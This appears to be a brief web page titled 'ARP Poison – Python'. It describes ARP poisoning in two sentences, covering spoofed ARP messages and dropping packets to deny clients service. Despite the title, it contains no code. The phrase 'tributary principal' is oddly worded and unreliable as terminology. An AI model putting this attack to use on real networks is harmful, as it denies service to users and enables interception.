ARP Poison – Python

ARP Poisoning
The attacking system, instead of posing as a gateway and performing a man in the middle attack, can instead simply drop the packets, causing the clients to be denied service to the attacked network resource. The spoofing of ARP messages is the tributary principal of ARP Poisoning.
